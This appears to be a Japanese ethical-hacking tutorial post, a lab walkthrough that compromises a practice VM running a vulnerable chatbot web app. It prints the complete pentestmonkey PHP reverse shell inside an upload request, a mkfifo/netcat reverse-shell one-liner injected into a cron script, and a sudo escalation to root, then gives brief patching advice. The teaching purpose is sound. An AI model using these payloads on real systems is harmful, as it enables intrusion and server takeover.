実戦形式で学ぶホワイトハッカーの技術

初心者向けのEthical Hacking講座です。

ペネトレーションテスト②

ではペネトレーションテストを続けていきましょう。
今回は前回よりも、現実世界で発生しうるものにしました。(本職のペネトレーションテスターから見るとツッコミどころはありますが、初心者向けということでご容赦ください。)

では今回も下記リンクより仮想マシンをダウンロードし、Virtual Boxにインポートしましょう。
drive.google.com
いつも通りにネットワーク設定を行い(NATネットワークを選択し)、起動したサーバーのTerminalからIPアドレスを取得しましょう。

Writeup

早速ポートスキャンを実行します。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -Pn 10.0.2.15
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-29 01:49 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 01:50 (0:00:11 remaining)
Nmap scan report for 10.0.2.15
Host is up (0.00028s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD
80/tcp   open  http     Apache httpd 2.4.56 ((Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1)
| http-title: Welcome to XAMPP
|_Requested resource was http://10.0.2.15/dashboard/
|_http-server-header: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1
443/tcp  open  ssl/http Apache httpd 2.4.56 ((Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1)
| http-title: Welcome to XAMPP
|_Requested resource was https://10.0.2.15/dashboard/
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2004-10-01T09:10:30
|_Not valid after:  2010-09-30T09:10:30
|_http-server-header: Apache/2.4.56 (Unix) OpenSSL/1.1.1t PHP/8.2.4 mod_perl/2.0.12 Perl/v5.34.1
|_ssl-date: TLS randomness does not represent time

全部で3つのポートが開いています。
今回もFTPが稼働していますが、匿名ユーザーのログインが許可されていない上に、クレデンシャルを持っていないためスキップしましょう。

Port80/443

Port80は前回学んだ通り、ブラウザからアクセスできます。
ブラウザからアクセスすると、下記のようなアプリケーションが稼働していることがわかります。

Simple Chatbot Application

「Simple Chatbot Application」という名前のアプリケーションのようです。
右下にはバージョン情報が記載されており、バージョン1.0であることが分かります。
アプリケーションの名前とバージョン情報が判明した際には、脆弱性がすでに見つかっていないか調べることが大切です。
「Simple Chatbot Application 1.0 exploit」などでGoogle検索してみると、すでに脆弱性が存在し、エクスプロイトコードが公開されていることが分かります。
www.exploit-db.com
「Exploit-DB」には、過去発見された様々な脆弱性の攻撃方法(エクスプロイトコード)が書かれています。

上記のエクスプロイトコードを読んでみると、アバターの画像を変更する際に、PHPのshellをアップロードできる脆弱性があるようです。
任意のPHPファイルをアップロードできることはすなわち、シェルを取れること(サーバーに侵入できること)を意味します。
PHPのリバースシェルのスクリプトはすでに様々公開されており、下記が一例です。
github.com
このスクリプトを使用することで、任意のPHPのファイルをアップロードできるシチュエーションであれば、サーバーに侵入することが可能です。(厳密にはサーバーがPHPのファイルを実行できる環境でなければいけません。)
エクスプロイトする前にまずは、Burp Suiteで通信を傍受しながら、アバターの画像を変更できる機能を探しましょう。
先ほどのExploit-DBの中に、ソフトウェアについてのURLがありました。
www.sourcecodester.com
記事を読んでみると、「/admin」というディレクトリに管理画面が存在することが分かります。
遷移してみると、パスワードを求められます。

Login

記事に書かれているクレデンシャルを入力しましょう。

admin

ログインに成功しました。
「Settings」に移動すると、アバター画像を変更できそうな設定が見つかります。

Settings

適当なアバターを変更してみると、エクスプロイトコードに書かれていたリクエストが見つかるはずです。
Exploit-DBのエクスプロイトコードでは、phpinfo関数を呼び出しているだけですが、今回はペネトレーションテストなので、先ほどのリバースシェルに置き換えましょう。

最終的なリクエストは下記の様になるはずです。

POST /classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: 10.0.2.15
Content-Length: 6787
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTwFnwowvaBACIBBn
Origin: http://10.0.2.15
Referer: http://10.0.2.15/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bliiam7tjddmun2qg13gc4klbl
Connection: close

------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="name"

Simple ChatBot Application
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="short_name"

ChatBot
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="intro"

Hi! I'm John, a ChatBot of this application. How can I help you?
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="no_result"

I am sorry. I can't understand your question. Please rephrase your question and make sure it is related to this site. Thank you :)
------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="img"; filename="reverse_shell.php"
Content-Type: application/octet-stream

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.2.24';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?> 


------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="bot_avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryTwFnwowvaBACIBBn
Content-Disposition: form-data; name="user_avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryTwFnwowvaBACIBBn--

PHPスクリプト内のIPアドレスはKali LinuxIPアドレスに変更してください。
ポート番号はそのままで大丈夫です。

上記のリクエストを送信すると、PHPスクリプトがサーバーに保存されます。
Burp Suite内の「HTTP hisotry」タブを見るとわかりますが、「/uploads」というディレクトリが存在し、そこには先ほどアップロードしたPHPスクリプトが保存されています。
後はこのファイルをブラウザ上でクリックすると、リバースシェルが取れます。

その前に少しだけ準備が必要です。
OSコマンドインジェクションのデモンストレーションを行った時と同様に、下記コマンドにてポートを開いて待ちましょう。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234 

そして、先ほどアップロードしたファイルを実行します。

/uploads

すると下記の様にシェルが取れました。

connect to [10.0.2.24] from (UNKNOWN) [10.0.2.15] 57756
Linux leon-VirtualBox 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 15:19:49 up  2:33,  1 user,  load average: 0.00, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
leon     tty7     :0               12:46    2:33m 13.89s  0.46s cinnamon-session --session cinnamon
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ 

これでサーバーへの侵入は完了です。
次は権限昇格に移ります。

権限昇格

前回は「LinPEAS」というツールを使用して、色々なLinux内の情報を列挙しました。
今回も実行してもちろん大丈夫ですが、実行してあまり有益な情報を得られなかったと仮定しましょう。
次に僕が使用するツールは「pspy」です。
このツールはLinuxのプロセスを監視するツールで、権限昇格という観点から見ると、定期的に高権限で実行されているファイルやコマンドを見つけて、その中身を改ざんするという攻撃方法に使えます。
実演した方がわかりやすいと思うので、実践してみましょう。
まず「pspy」をターゲットのサーバー上にダウンロードして、実行します。

$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
$ chmod +x pspy64
$ ./pspy64

しばらく置いておくと、下記のコマンドが定期的に実行されていることが分かります。

CMD: UID=1000  PID=2846   | /bin/sh -c /check/check_alive.sh 

このshファイルはUID:1000(leon)ユーザーの権限で実行されています。
ではこのファイル自体の権限を確認してみましょう。

$ cd check
$ ls -la
total 12
drwxrwxrwx  2 root root 4096 Oct  3 10:17 .
drwxr-xr-x 24 root root 4096 Oct  2 18:58 ..
-rwxrwxrwx  1 leon leon   20 Oct  3 10:17 check_alive.sh

なんと「check_alive.sh」ファイルは、全てのユーザーで閲覧・編集・実行(rwxrwxrwx)が可能でした。
Linuxのファイル権限に関しては、下記記事を参考にしてください。
qiita.com
まずここまでで分かっていることを整理しましょう。

  • leonユーザーの権限で、「check_alive.sh」は定期的に(1分おきに)実行されている。
  • 「check_alive.sh」は全てのユーザーが編集可能である。

これを踏まえると、「check_alive.sh」の中身を書き換えると、そのファイルはleonユーザーの権限で実行されるため、leonとしてのシェルを取れるということです。

では実践してみましょう。

$ echo "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.24 4444 >/tmp/f" > check_alive.sh
$ cat check_alive.sh
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.24 4444 >/tmp/f

今回使用したリバースシェルのペイロードは下記のチートシートから拝借しました。
github.com

そして、netcatでポートを開いて待ちましょう。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444                 
listening on [any] 4444 ...
connect to [10.0.2.24] from (UNKNOWN) [10.0.2.15] 43544

上記のように1分ほど待つと、新たなシェルが取れることが分かります。
「id」コマンドなどを実行すると、leonになっていることが判明します。
まだrootではありません。しかしここからは前回と同じです。

$ sudo -l
Matching Defaults entries for leon on leon-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, pwfeedback

User leon may run the following commands on leon-VirtualBox:
    (ALL : ALL) NOPASSWD: ALL
    (root) NOPASSWD: /usr/bin/mintdrivers-remove-live-media
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
$ sudo bash
id
uid=0(root) gid=0(root) groups=0(root)

これでrootになれました。
ターゲットのサーバーを完全に掌握したことになります。

対策

ここから学んでもらいたい教訓は、古いバージョンのソフトウェアを使用しないということです。
古いバージョンが必ずしも悪いわけではありませんが、古いバージョンのソフトウェアには脆弱性が発見されていることが多々あります。
ハッカーの観点からしても、自分たちで新たな脆弱性を発見するより、既知の脆弱性が見つかっているソフトウェアなどを攻撃する方が効率的です。
バージョンを上げたり、最新版にしたりするだけで防ぐことのできる攻撃がたくさんあります。
常にバージョン情報やアップデート情報には敏感でいましょう。

いかがだったでしょうか?
これでペネトレーションテストを終了します。
ペネトレーションテストはサーバーへの侵入というワクワクする業務であると同時に、Webアプリの脆弱性Linux脆弱性などのサイバーセキュリティに関する様々な知識を身に付けられる学習方法であるとも考えています。
もっとペネトレーションテストを学びたい人は、HackTheBoxをお勧めするので、是非挑戦してみてください。
app.hackthebox.com

続いては最後のテーマであるリバースエンジニアリングに移ります。

learn-ethicalhacking.hatenablog.com